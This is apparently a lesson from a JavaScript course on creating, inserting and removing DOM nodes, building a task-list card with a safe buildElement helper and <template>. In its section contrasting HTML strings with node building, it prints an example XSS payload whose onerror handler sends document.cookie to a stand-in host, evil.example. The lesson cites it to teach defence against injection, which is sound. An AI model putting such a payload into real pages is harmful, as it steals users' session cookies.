So far the Nómada Tasks page has been a mold: a few <li>s written by hand in the HTML that we filled with data from the model. That does not scale. The backlog has six tasks, in 06-07 more will be addable, and nobody is going to edit index.html every time Marta adds one. A real application builds its interface from the data. In this lesson you will learn to create nodes from scratch, to insert them exactly where you want, to remove them and to empty containers without leaving memory leaks, to insert a hundred elements without punishing the browser using DocumentFragment, and to do all of it safely against HTML injection. The result will be view/card.js: the function that turns a model Task into its complete <li>, with its buttons and its data-id.

Contents

  1. Creating nodes: createElement and createTextNode
  2. Cloning: cloneNode(true)
  3. Inserting with the modern methods
  4. insertAdjacentHTML and insertAdjacentElement
  5. The old methods, and why they keep showing up
  6. Removing and emptying containers
  7. DocumentFragment: many nodes, a single insertion
  8. Building with nodes versus injecting HTML
  9. A helper function: buildElement(tag, props, children)
  10. <template> and content
  11. Nómada Tasks: view/card.js
  12. Common Mistakes and Tips
  13. Exercises
  14. Conclusion

  1. Creating nodes: createElement and createTextNode

document.createElement(tag) manufactures a new element. Important: it is born outside the tree, in limbo. It is nowhere to be seen until you insert it.

const li = document.createElement('li');
console.log(li);                 // <li></li>
console.log(li.parentElement);   // null   ← it is not in the document yet
console.log(document.contains(li)); // false

While it is outside the tree you can configure it with everything you learned in 06-02, and it is the most efficient way of working: build first, insert at the end, because changes on a disconnected element do not force the browser to recalculate anything.

const li = document.createElement('li');
li.className = 'task task--high';          // className is fine here: the element is new
li.dataset.id = '6';
li.dataset.status = 'pending';
li.setAttribute('aria-label', 'Carpentry workshop quote, priority high');

document.querySelector('#task-list').append(li);   // now it does appear on screen

document.createTextNode(text) creates a text node (type 3 from 06-01). You will hardly ever need it explicitly, because textContent and append do it for you, but it is worth knowing it exists and that it is immune to HTML parsing:

const text = document.createTextNode('Redesign <urgent> & review');
li.append(text);
// On screen you read it literally: Redesign <urgent> & review

In fact, append accepts strings directly and turns them into text nodes, with the same safety:

li.append('Redesign <urgent> & review');   // identical to the previous example

There are two sibling methods you will see now and then: document.createComment(text) for comments and document.createDocumentFragment() for the lightweight container in section 7.

  1. Cloning: cloneNode(true)

node.cloneNode(deep) makes a copy. The argument decides whether it copies only the node or its whole content as well:

const template = document.querySelector('#task-list li');

const shallow = template.cloneNode(false);   // just the <li>, empty inside
const deep    = template.cloneNode(true);    // the <li> with all its descendants

console.log(shallow.children.length);   // 0
console.log(deep.children.length);      // 3  ← span, span, button

Three important warnings about cloning:

  • It copies the attributes, id included. If the original had id="summary", so does the clone, and you will have two elements with the same id in the document: querySelector('#summary') will return only the first and you will never know which one. Change or delete the clone's id.
  • It does NOT copy the handlers registered with addEventListener. This is an advantage in disguise: the clone is born clean, and with delegation (06-04) you do not even notice, because the handler is on the container.
  • It does copy the inline on… attributes, one more reason never to use them.
const clone = template.cloneNode(true);
clone.removeAttribute('id');         // mandatory hygiene if the original had an id
clone.dataset.id = '7';              // and update whatever identifies the new one

  1. Inserting with the modern methods

The modern insertion family is convenient, uniform and takes several arguments and text strings. All of them accept any number of nodes and/or strings.

Method Where it inserts Called on
parent.append(...) At the end of the children The container
parent.prepend(...) At the start of the children The container
elem.before(...) Just before the element, as a sibling The reference sibling
elem.after(...) Just after the element, as a sibling The reference sibling
elem.replaceWith(...) Replaces the element The element to replace
parent.replaceChildren(...) Replaces all the children (with no arguments, empties) The container
const list = document.querySelector('#task-list');
const newItem = document.createElement('li');
newItem.textContent = 'Service the bookbinding guillotine';

list.append(newItem);                   // at the end
list.prepend(newItem);                  // ← it MOVES it to the start (see the note below)

const first = list.firstElementChild;
first.after(newItem);                   // as the second element
first.before('Notice: ', newItem);      // several arguments: text and node

newItem.replaceWith(document.createElement('li'));   // replaced
list.replaceChildren();                 // empty list

A node can only be in one place. If you insert an element that is already in the tree, it is not duplicated: it is moved. It is very useful behavior for reordering lists, and a source of bewilderment if you are not expecting it:

const li = list.firstElementChild;
list.append(li);           // there are not two: the first has become the last

To get two copies you have to clone explicitly: list.append(li.cloneNode(true)).

  1. insertAdjacentHTML and insertAdjacentElement

These two methods let you insert at one of four positions relative to the element, expressed with a string:

<!-- beforebegin -->
<li class="task">
  <!-- afterbegin -->
  content
  <!-- beforeend -->
</li>
<!-- afterend -->
Position Where it ends up
'beforebegin' Before the element, as the previous sibling
'afterbegin' Inside, as the first child
'beforeend' Inside, as the last child
'afterend' After the element, as the next sibling
const li = document.querySelector('[data-id="6"]');

li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="task__badge">⚠</span>');

insertAdjacentHTML has a real advantage over innerHTML +=: it does not destroy and recreate the existing nodes, it only adds. But it shares its big flaw: it parses HTML, so it carries the same XSS risk from 06-02.

// ✗ Never with data you do not control
li.insertAdjacentHTML('beforeend', `<span>${task.title}</span>`);
// If the title is '<img src=x onerror=…>', you have just run somebody else's code.

// ✓ With literal markup you wrote yourself, with no data interpolated, it is acceptable
li.insertAdjacentHTML('beforeend', '<span class="task__badge" aria-hidden="true">⚠</span>');

The rule is the same as always: HTML as a string only when it is constant. As soon as there is data interpolation, either you escape it (06-06) or you build with nodes.

  1. The old methods, and why they keep showing up

Before the modern family there were three methods you will see in any code that is a few years old. It is worth knowing them so you can read them, even if you do not write them.

Old Modern equivalent Differences
parent.appendChild(node) parent.append(node) The old one takes a single node, does not accept strings, and returns the inserted node
parent.insertBefore(newNode, ref) ref.before(newNode) The old one is called on the parent and needs the reference; with ref = null it inserts at the end
parent.removeChild(child) child.remove() The old one needs to know the parent; the modern one does not
parent.replaceChild(newNode, oldNode) oldNode.replaceWith(newNode) The same: the old one demands the parent
// Old
const li = document.createElement('li');
list.appendChild(li);
list.insertBefore(li, list.firstChild);
list.removeChild(li);

// Modern
list.append(li);
list.prepend(li);
li.remove();

The modern ones win on everything except one detail: appendChild returns the node, which allows chaining (const p = div.appendChild(document.createElement('p'))), whereas append returns undefined. It is a minor inconvenience and it is solved with a variable.

  1. Removing and emptying containers

Removing an element is trivial:

document.querySelector('[data-id="4"]')?.remove();

Emptying a container has three forms, and they are not equivalent:

// Option A · the modern, recommended one
list.replaceChildren();

// Option B · the classic one with an empty string
list.innerHTML = '';

// Option C · by hand, node by node
while (list.firstChild) list.firstChild.remove();
Form Readability Parses HTML Notes
replaceChildren() High No The preferable one; it also replaces in a single operation
innerHTML = '' High Yes (an empty string, but it goes through the parser) It works, but it invites innerHTML = '<li>…' with data
while loop Low No Only for compatibility with very old browsers

replaceChildren is especially elegant because it also accepts the new content, so emptying and refilling is a single operation:

list.replaceChildren(...tasks.map(createCard));   // empties and refills in one go

The nuance of handlers and memory leaks. When you remove an element from the DOM, its handlers disappear with it… as long as nobody else holds a reference to the element. If you stored it in an array, in a Map or in another function's closure, the element stays alive in memory even though it is not on the page, together with its whole subtree and its handlers. That is a memory leak.

// ✗ Leak: the array retains the elements even though they were taken off the page
const cardCache = [];
for (const task of board.tasks) {
  const li = createCard(task);
  cardCache.push(li);              // strong reference that outlives the remove()
  list.append(li);
}
list.replaceChildren();            // the page is emptied, the memory is not

// ✓ If you need a cache, clear it too
cardCache.length = 0;

This is exactly one of the patterns analyzed in Memory Management. And it is another argument in favor of the delegation from 06-04: if the only handler is on the <ul>, which is never removed, there is nothing to clean up when deleting cards.

One last note: if you remove the element that had focus, focus is lost and goes back to document.body. Anyone navigating by keyboard is left without a position. The solution is to move focus somewhere reasonable before removing:

const li = button.closest('li[data-id]');
const next = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(next?.querySelector('button') ?? list).focus();

  1. DocumentFragment: many nodes, a single insertion

Inserting six elements one at a time means touching the tree six times:

// Six insertions into the live document
for (const task of board.tasks) {
  list.append(createCard(task));
}

A DocumentFragment is a lightweight container outside the tree (nodeType 11 from 06-01). You can fill it without the browser having to recalculate anything, and when you insert it something special happens: the fragment dissolves and only its children go in.

const fragment = document.createDocumentFragment();

for (const task of board.tasks) {
  fragment.append(createCard(task));   // outside the tree: no repaint cost
}

list.append(fragment);      // ONE single operation on the document
console.log(fragment.childNodes.length);  // 0  ← it emptied itself on insertion
console.log(list.children.length);        // 6

It is the equivalent of carrying the shopping in a bag instead of by the handful: fewer trips.

It is worth being honest about the size of the benefit. Modern browsers batch layout work and do not repaint after every append, so with six tasks the difference is imperceptible. With thousands of rows, or when you read geometry between one insertion and the next (the layout thrashing of 06-02), it does show. Serious measurement is the topic of Efficient DOM Manipulation.

That said, there is a reason to use it that does not depend on performance: replaceChildren with the spread does the same thing more readably, and that is the form we will adopt:

list.replaceChildren(...board.tasks.map(createCard));

One call, complete new content, with no explicit fragment and no innerHTML.

  1. Building with nodes versus injecting HTML

This is the judgment point of the lesson. There are two ways of producing a task's card:

// Option 1 · HTML string
list.innerHTML += `
  <li class="task task--${task.priority}" data-id="${task.id}">
    <span class="task__title">${task.title}</span>
    <button data-action="advance">Start</button>
  </li>`;

// Option 2 · nodes
const li = document.createElement('li');
li.className = `task task--${task.priority}`;
li.dataset.id = task.id;
const title = document.createElement('span');
title.className = 'task__title';
title.textContent = task.title;                 // ← safe by construction
li.append(title);
Aspect HTML string Building with nodes
Readability of the structure High: you see the shape at a glance Medium: you have to read several lines
Safety with external data Dangerous: XSS if you do not escape Safe: textContent parses nothing
Preservation of existing nodes innerHTML += destroys and recreates them It respects them
Handlers and focus Lost on reassignment Preserved
References to the created nodes You have to look them up again You already have them
Cost Parsing HTML Method calls

The security problem is concrete, not theoretical. If Iván adds a task titled <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, option 1 runs that code in the context of your page. Option 2 shows the literal text and runs nothing.

On top of that, innerHTML += has an additional, very unintuitive defect: it does not add, it rebuilds. It reads all the inner HTML, concatenates your string onto it and parses the whole thing again. Every previous node is destroyed and recreated: focus is lost, the selected text is lost and the state of any <input> inside is lost.

Decision for the rest of the course: we build with nodes. In 06-06 you will see the intermediate alternative —templates with template literals plus a mandatory escapeHtml function— and in section 10 of this lesson, the best of them all for fixed structures: <template>.

  1. A helper function: buildElement(tag, props, children)

Building with nodes is safe but verbose. A fifteen-line helper function recovers the readability without losing the safety. This will be a stable piece of the project:

// js/view/dom.js

/**
 * Creates a configured element in a single expression.
 * @param {string} tag       'li', 'button', 'span'…
 * @param {object} props     classes, dataset, attributes and properties
 * @param {Array}  children  nodes or strings (strings are inserted as TEXT)
 * @returns {HTMLElement}
 */
export function buildElement(tag, props = {}, children = []) {
  const element = document.createElement(tag);

  for (const [key, value] of Object.entries(props)) {
    if (value === null || value === undefined || value === false) continue;

    if (key === 'classes') {
      element.classList.add(...[].concat(value).filter(Boolean));
    } else if (key === 'dataset') {
      Object.assign(element.dataset, value);
    } else if (key === 'text') {
      element.textContent = value;                  // ✓ never innerHTML
    } else if (key in element) {
      element[key] = value;                         // properties: disabled, value, type…
    } else {
      element.setAttribute(key, value);             // attributes: aria-*, role…
    }
  }

  element.append(...[].concat(children).filter(Boolean));
  return element;
}

/** Selection shortcuts, so we do not repeat document.querySelector everywhere. */
export const $  = (sel, root = document) => root.querySelector(sel);
export const $$ = (sel, root = document) => [...root.querySelectorAll(sel)];

Three decisions in this code are worth understanding:

  • key in element tells properties from attributes. disabled, value, type, id and hidden exist as properties of the DOM object, and assigning them directly is the right thing to do (06-02). The aria-* ones and role do not exist as properties, so they fall through to setAttribute. The check resolves the choice automatically.
  • text uses textContent. There is no option in the API that parses HTML: it is impossible to cause an XSS through this function, and that impossibility is precisely the goal.
  • [].concat(value) accepts either a single value or an array indifferently, and the filter(Boolean) discards the nulls and falses, which lets you write conditional children without an if.

With it, the card reads almost like the HTML it produces:

const li = buildElement('li', {
  classes: ['task', `task--${task.priority}`],
  dataset: { id: task.id, status: task.status }
}, [
  buildElement('span', { classes: 'task__title', text: task.title }),
  buildElement('button', { type: 'button', text: 'Start', dataset: { action: 'advance' } })
]);

  1. <template> and content

There is a third way that combines the best of both: declaring the structure in the HTML, where it can be read at a glance, and filling in only the data from JavaScript, with textContent.

The <template> element contains markup that the browser parses but does not display or activate: its images are not downloaded, its scripts do not run and it does not appear on the page.

<template id="task-template">
  <li class="task">
    <span class="task__title"></span>
    <span class="task__meta"></span>
    <span class="task__tags"></span>
    <button type="button" class="task__action" data-action="advance"></button>
    <button type="button" class="task__action" data-action="reopen">Reopen</button>
  </li>
</template>

Its content lives in the content property, which is a DocumentFragment. To use it you have to clone it, because the original must stay intact for the next use:

const template = document.querySelector('#task-template');

const fragment = template.content.cloneNode(true);   // ✓ deep copy
const li = fragment.querySelector('li');             // now you can configure it

li.dataset.id = task.id;
li.querySelector('.task__title').textContent = task.title;
list.append(li);

Typical mistakes with <template>:

// ✗ Forgetting .content: the <template> itself does not contain the <li> as a normal child
template.querySelector('li');            // null

// ✗ Forgetting to clone: you move the content out of the template and empty it
list.append(template.content);           // the template is left useless for next time

// ✓ Correct
list.append(template.content.cloneNode(true));
Approach Structure visible Safety When to use it
createElement + buildElement In the JavaScript Safe Dynamic or conditional structures
<template> + cloneNode In the HTML Safe (you fill in with textContent) Fixed structures that repeat
Template literal + innerHTML In the JavaScript Dangerous without escaping Only with constant markup

For a list of identical cards, <template> is usually the best option: the structure can be touched by whoever does the layout without opening the JavaScript, and the code comes down to three assignment lines.

  1. Nómada Tasks: view/card.js

Let's put it all together. This module turns a model Task into its complete <li>. It uses buildElement so as to have total control and not depend on the HTML containing the template; at the end you will see the <template> variant.

// js/view/card.js
import { buildElement } from './dom.js';
import { TODAY } from '../util/dates.js';
import { statusBadge } from '../util/format.js';

const PRIORITY_CLASS = Object.freeze({
  high: 'task--high', medium: 'task--medium', low: 'task--low'
});
const NEXT  = Object.freeze({ pending: 'in-progress', 'in-progress': 'done', done: null });
const LABEL = Object.freeze({
  pending: 'Start', 'in-progress': 'Mark done', done: 'Completed'
});

/**
 * Turns a model Task into its <li> element.
 * It registers no handler at all: clicks are served by delegation (06-04).
 */
export function createCard(task, today = TODAY) {
  const overdue = task.isOverdue(today);

  const title = buildElement('span', {
    classes: 'task__title',
    text: task.title                          // ← textContent: safe with any title
  });

  const meta = buildElement('span', {
    classes: 'task__meta',
    text: `${statusBadge(task.status)} ${task.assignee ?? 'unassigned'} · ` +
          `${task.estimatedHours} h · ${task.status}` +
          (overdue ? ` · overdue by ${Math.abs(task.daysLeft)} days` : '')
  });

  const tags = buildElement('ul', { classes: 'task__tags' },
    task.tags.map((t) => buildElement('li', { classes: 'tag', text: t }))
  );

  const advance = buildElement('button', {
    type: 'button',
    classes: 'task__action',
    dataset: { action: 'advance' },
    disabled: NEXT[task.status] === null,
    'aria-label': `${LABEL[task.status]}: ${task.title}`,
    text: LABEL[task.status]
  });

  const reopen = buildElement('button', {
    type: 'button',
    classes: 'task__action',
    dataset: { action: 'reopen' },
    disabled: task.status !== 'in-progress',
    'aria-label': `Send back to pending: ${task.title}`,
    text: 'Reopen'
  });

  return buildElement('li', {
    classes: ['task', PRIORITY_CLASS[task.priority], overdue && 'task--overdue',
              task.status === 'done' && 'task--done'],
    dataset: { id: task.id, status: task.status, assignee: task.assignee ?? '' },
    tabindex: '-1'                            // focusable by code, not with Tab
  }, [title, meta, tags, advance, reopen]);
}

Notice three details:

  • overdue && 'task--overdue' produces false when it does not apply, and buildElement's filter(Boolean) discards it. It is the idiomatic form of a conditional class without writing an if.
  • tabindex="-1" makes the <li> focusable programmatically (li.focus()) but does not put it in the tab order. It serves to return focus to a card after redrawing it, in 06-06.
  • The card registers not a single handler. It can be created, cloned, destroyed and recreated freely, because the only handler lives on the <ul>. That is the dividend of the delegation from 06-04.

And this is how it is used, with replaceChildren to paint the whole list:

// js/app.js
import { Board } from './model/board.js';
import { createBacklog } from './data/backlog.js';
import { TODAY } from './util/dates.js';
import { createCard } from './view/card.js';
import { connectBoard } from './view/controller.js';
import { $ } from './view/dom.js';

const board = new Board('Taller Nómada', createBacklog());
const list = $('#task-list');

// The SIX tasks, created from the model. The HTML no longer carries any <li>.
list.replaceChildren(...board.tasks.map((t) => createCard(t, TODAY)));

connectBoard({ list, summary: $('#summary'), board, today: TODAY });

The index.html gets simpler: the <ul id="task-list"> is left empty, because its content is generated by the model.

<ul id="task-list" class="task-list" aria-live="polite"></ul>

That aria-live="polite" makes a screen reader announce the list's changes without interrupting. With the six cards on screen, the summary still gives the canonical numbers: 6 tasks, 5 open, 45 h remaining, 1 overdue, effort 124.

The <template> variant, in case you prefer to have the structure in the HTML:

// js/view/card.js — template version
import { $ } from './dom.js';

export function createCardFromTemplate(task, today = TODAY) {
  const li = $('#task-template').content.firstElementChild.cloneNode(true);

  li.dataset.id = task.id;
  li.dataset.status = task.status;
  li.classList.add(PRIORITY_CLASS[task.priority]);
  li.classList.toggle('task--overdue', task.isOverdue(today));
  li.classList.toggle('task--done', task.status === 'done');

  $('.task__title', li).textContent = task.title;
  $('.task__meta', li).textContent = `${task.assignee ?? 'unassigned'} · ${task.estimatedHours} h`;

  const advance = $('[data-action="advance"]', li);
  advance.textContent = LABEL[task.status];
  advance.disabled = NEXT[task.status] === null;

  return li;
}

Both are correct. The first gives you more control and does not depend on the HTML; the second separates layout and logic better. Pick one and be consistent.

Common Mistakes and Tips

  • Creating an element and forgetting to insert it. createElement does not add it to the page. If "nothing shows up", check that there is an append somewhere.
  • Expecting insertion to duplicate. A node can only be in one place: inserting one that was already in the tree moves it. To duplicate, cloneNode(true).
  • Cloning an element with an id and not changing it. You end up with duplicated ids and querySelector always returns the first. Delete or rename the clone's id.
  • Forgetting .content or the cloning with <template>. template.querySelector('li') gives null; append(template.content) empties the template forever. The correct form is template.content.cloneNode(true).
  • Using innerHTML += to add. It does not add: it rebuilds the whole interior, which loses focus, selection, field state and direct handlers. Use append or insertAdjacentHTML.
  • Interpolating data into HTML strings. It is the door to XSS. With data, always textContent or nodes; with constant markup, insertAdjacentHTML is acceptable.
  • Storing removed nodes in arrays or Maps. It stops the browser from freeing the memory. If you have a node cache, clear it when you empty the container.
  • Removing the element that had focus without relocating it. Keyboard users are left on body. Move focus to the next sibling or to the container before removing.
  • Tip: build outside the tree and connect at the end. Everything you do to a disconnected element is free for the browser. It is the same principle as DocumentFragment and replaceChildren(...).
  • Tip: a well-made buildElement function pays for itself on the first screen. It gives you the readability of a template with the safety of nodes, and makes it impossible by construction for a piece of data to end up being parsed as HTML.

Exercises

Exercise 1 · A divider per priority

Write insertDividers(list) that walks the already painted <li>s and, every time the priority changes with respect to the previous one, inserts before that <li> an element <li class="divider" role="presentation"> with the text High priority, Medium priority or Low priority. It must work without duplicating dividers if it is called twice. Use before() and buildElement.

Exercise 2 · Empty and measure

Write two functions, paintWithLoop(list, tasks) and paintAtOnce(list, tasks). The first empties and does one append per task; the second uses replaceChildren(...) with the spread. Check with console.time/console.timeEnd how long they take with the 6 tasks and with 5,000 generated by repeating the backlog. Comment on the results honestly.

Exercise 3 · Card with a template and preserved focus

Add a <template id="task-template"> to the HTML and write replaceCard(li, task) that replaces an existing <li> with a freshly created card using replaceWith(), preserving focus: if the active element was inside the <li> being replaced, focus must end up on the equivalent button of the new card. Explain how you detect which the equivalent button was.

Solutions

Exercise 1

import { buildElement, $$ } from './view/dom.js';

const NAMES = { high: 'High priority', medium: 'Medium priority', low: 'Low priority' };

export function insertDividers(list) {
  // Idempotence: we remove the previous dividers before anything else
  $$('.divider', list).forEach((s) => s.remove());

  let previous = null;
  for (const li of $$('li[data-id]', list)) {
    const priority = [...li.classList]
      .find((c) => c.startsWith('task--') && c.slice(6) in NAMES)?.slice(6);

    if (priority !== previous) {
      li.before(buildElement('li', {
        classes: 'divider',
        role: 'presentation',
        text: NAMES[priority]
      }));
      previous = priority;
    }
  }
}

Two key points. Idempotence is achieved by cleaning up first: without that initial remove(), every call would add another batch of dividers. And the selector li[data-id] is essential in the loop: if we walked every <li>, the freshly inserted dividers would enter the iteration too. The role="presentation" tells the screen reader that this <li> is not a real item of the list, but a visual heading.

Exercise 2

function paintWithLoop(list, tasks) {
  list.replaceChildren();
  for (const t of tasks) list.append(createCard(t));
}

function paintAtOnce(list, tasks) {
  list.replaceChildren(...tasks.map((t) => createCard(t)));
}

const many = Array.from({ length: 5000 }, (_, i) => {
  const base = board.tasks[i % 6];
  return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});

console.time('loop');    paintWithLoop(list, many); console.timeEnd('loop');
console.time('at once'); paintAtOnce(list, many);   console.timeEnd('at once');

Typical results on an ordinary laptop: with 6 tasks both are around 1 ms and the difference is pure measurement noise. With 5,000, the all-at-once version is usually between 10 % and 30 % ahead, but the bulk of the time goes into creating the 5,000 cards, not inserting them.

The honest conclusion is that the classic insistence on DocumentFragment is somewhat overrated for the normal case: modern browsers do not repaint after every append. replaceChildren(...) is preferred for clarity, not for speed. And the underlying lesson is the one from 09-01: measure before optimizing, because intuition about performance is wrong almost every time.

Exercise 3

export function replaceCard(li, task, today = TODAY) {
  // 1 · Was focus inside? We store WHICH button it was, not the reference
  const active = document.activeElement;
  const hadFocus = li.contains(active);
  const focusedAction = hadFocus ? active.dataset.action ?? null : null;

  // 2 · We build the new card and replace
  const fresh = createCard(task, today);
  li.replaceWith(fresh);

  // 3 · We restore focus on the equivalent button
  if (hadFocus) {
    const target = focusedAction !== null
      ? fresh.querySelector(`[data-action="${focusedAction}"]`)
      : null;
    (target !== null && !target.disabled ? target : fresh).focus();
  }
  return fresh;
}

The equivalent button is identified by its data-action, not by its position or by a reference to the old node (which has just stopped existing). It is the same principle as the cards' data-id: a stable key that survives the recreation of the DOM. And the <li>'s tabindex="-1" is what makes the fresh.focus() fallback possible when the equivalent button has ended up disabled —for example, after marking the task as done—: without it, focus would land on document.body and anyone navigating by keyboard would lose their position in the list.

That problem —redrawing and losing focus— is precisely what leads into the next lesson.

Conclusion

You no longer depend on hand-written HTML: you know how to manufacture the interface. You create nodes with createElement (which are born outside the tree, and that is why configuring them is free) and with createTextNode, and you copy them with cloneNode(true), remembering that the clone drags along the id but not the addEventListener handlers. You insert them with the modern family —append, prepend, before, after, replaceWith, replaceChildren—, which takes several arguments and text strings, knowing that inserting a node already in the tree moves it instead of duplicating it. You know insertAdjacentHTML/insertAdjacentElement with their four positions (beforebegin, afterbegin, beforeend, afterend) and the warning that the first one parses HTML. And you recognize the old methods appendChild, insertBefore, removeChild and replaceChild so you can read legacy code, even though you write the modern ones.

You know how to remove with remove() and empty with replaceChildren(), which is preferable to innerHTML = '' because it does not go through the HTML parser and because the same call lets you empty and refill at once. You are clear about the nuance that matters: handlers disappear with the element unless somebody retains a reference in an array, a Map or a closure, and that is the origin of a classic memory leak; and that removing the focused element leaves keyboard users without a position. You know DocumentFragment for batching insertions, together with an honest assessment of its real impact, and you know that replaceChildren(...nodes) achieves the same thing more clearly.

Above all, you have the construction criterion: nodes versus strings. Interpolating data into HTML is the direct door to XSS, and innerHTML += does not even add —it rebuilds the whole interior and takes focus, selection and state down with it. The answer is buildElement(tag, props, children) in view/dom.js, which tells properties from attributes with key in element, accepts conditional classes and always uses textContent; or else <template> with content.cloneNode(true) when the structure is fixed and you prefer to have it in the HTML. With those pieces you have written view/card.js: createCard(task) returns the complete <li> of a task, with its priority, its overdue badge, its tags, its two buttons with data-action and its data-id, without registering a single handler, because delegation already takes care of that. The <ul> in the HTML has been left empty and the backlog's six tasks are painted from the model.

What is missing is the step that turns all of this into a real application: redrawing when the data changes. Right now you paint once at startup and then patch each <li> by hand. The natural thing is to have a render(state) function that draws the whole board from the Board, and repeat it after every change. But that brings its own problem, which you have already brushed against in the last exercise: redrawing everything destroys the nodes, and with them go focus, scrolling and whatever the user had typed. How the cycle state → render → event → new state → render is organized, how tasks are grouped into columns, how the data is escaped if you decide to use text templates, and how only what has changed is updated by reusing nodes by their data-id, is Rendering Lists and HTML Templates.

JavaScript Course: From Beginner to Advanced

Module 1: Introduction to JavaScript

Module 2: Control Structures

Module 3: Functions

Module 4: Objects and Arrays

Module 5: Advanced Objects and Functions

Module 6: The Document Object Model (DOM)

Module 7: Browser APIs and Advanced Topics

Module 8: Testing and Debugging

Module 9: Performance and Optimization

Module 10: JavaScript Frameworks and Libraries

Module 11: Final Project

© Copyright 2026. All rights reserved